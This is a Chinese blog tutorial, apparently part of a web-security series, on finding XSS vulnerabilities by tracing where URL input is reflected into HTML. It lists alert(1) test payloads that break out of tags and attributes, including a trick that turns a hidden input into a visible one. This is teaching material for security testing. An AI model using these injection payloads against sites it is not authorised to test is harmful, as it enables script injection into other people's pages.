xss挖掘思路分享_WEB安全(二) :XSS的漏洞挖掘(上)

e3b1c2143c51731f873e0acbc570aa47.png

ps:上一篇讲了基本的xss类型,反射型和存储型,以及xss可以做的一些事情。本文则比较上一篇做一个较为深入的研究。如何在网站上面进行漏洞的一些挖掘

挖掘思路

1,url

我们知道这类xss的输入点在URL上面,首先,我们对URL的组成进行如下介绍

 <scheme>://<netloc>/<path>?<query>#<fragment>
 //比如一个最普通的url如下:
 http://www.foo.com/path/f.html?id=1#type=2#new
 对应的关系则如下表示
 <scheme> : http
 <netloc> :  www.foo.com
 <path> :  /path/f.html
 <query> :  id=1&type=2
 <fragment> :  new

对于这个url来说,攻击的地方有 path,query,fragment,但是fragment的值一般不会出现在url上面,所以就剩下 path,query了

首先我们从query入手,来看一个最简单的url

http://www.foo.com/path/f.html?id=1

当我们进行xss测试时候,可以塞入如下代码

<script>alert(1)</script>
'"><script>alert(1)</script>
<img/src=@ onerror=alert(1) />

这样根据请求,我们就可以测试网上是否有弹出框,有则表示可以进行xss攻击,针对这个URL,我们利用输入点是id=1,那么输出点在哪呢很可能出现在如下位置

<div>[输出]</div>
<input type='text' value=[输出] />
<scrpit>a = [输出]; </script>

基本以上就这三种情况,不过真要对这三种情况进行细分的话,里面的陷阱也是千奇百怪

2 html

最普通的场景出现<div>[输出]</div>,那么我们修改这样的url

http://www.foo.com/path/f.html?id=1<script>alert(1)</script>
div的内容就会变化成如下代码
<div>1<script>alert(1)</script></div>

这样的话,代码就会执行注入,但是当出现如下标签

<title></title>
<textarea></textarea>
<iframe></iframe>

比如代码是这样的

<title><script>alert(1)</script></title>

这样可以很明确的告诉你,是不会弹出提示框的。因为这个标签无法执行脚本,xss漏洞的挖掘必须具备这样的区分能力,像这种标签还有很多。以上介绍的三个只是在工作中经常出现的。这种标签的话,如果要进行xss攻击,需要将代码修改如下

<title><script>alert(1)</script></title>   //原代码

<title>[输出代码如下]</title>
</title><script>alert(1)</script>

<title></title><script>alert(1)</script> </title>  //完整代码

除了这些,还有两类特殊标签,script 和 style 这种标签是不能被嵌套的。而且构造更灵活,除了闭合标签外,还可以利用他们自身可执行脚本的性质来构造特殊的xss进行入侵

标签之内如何进行xss,如出现如下场景

<input type='text' value="[输出]" />

//那么我们输出位可以这样编写如下两种写法

" onmouseover=alert(1) x="   //闭合属性,使用on时间触发
<input type='text' value="" onmouseover=alert(1) x="" />  //完整代码

"><script>alert(1)</script>   //闭合属性后闭合标签,执行脚本
<input type='text' value=""><script>alert(1)</script> " />  //完整代码

接下来我们继续看html标签的其他场景。出现如下语句

<input type="hidden" value="[输出]">

像这种情况,我们只能闭合标签,否则由于hidden的特性触发不了xss,但是如下换个位置的话,情况就不一样了

<input value="[输出]" type="hidden" />

可以输出这样
1" onmouseover=alert(1) type="text

<input value="1" onmouseover=alert(1) type="text" type="hidden" /> //完整代码

这样输出不在是一个隐藏表单,而是一个标准的输入框

3,请求玄机

针对输入输出进行了分析后,在xss中的漏洞挖掘工具,我们也可以做很多优化,在这里我们举例探子请求,如果出现响应的话,就说明有漏洞可以进行挖掘

以上就是漏洞深挖的一些思路部分,接下来会讲解html和javascript的自解码机制,这样会帮助大家从更为刁钻的方法进行挖掘

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值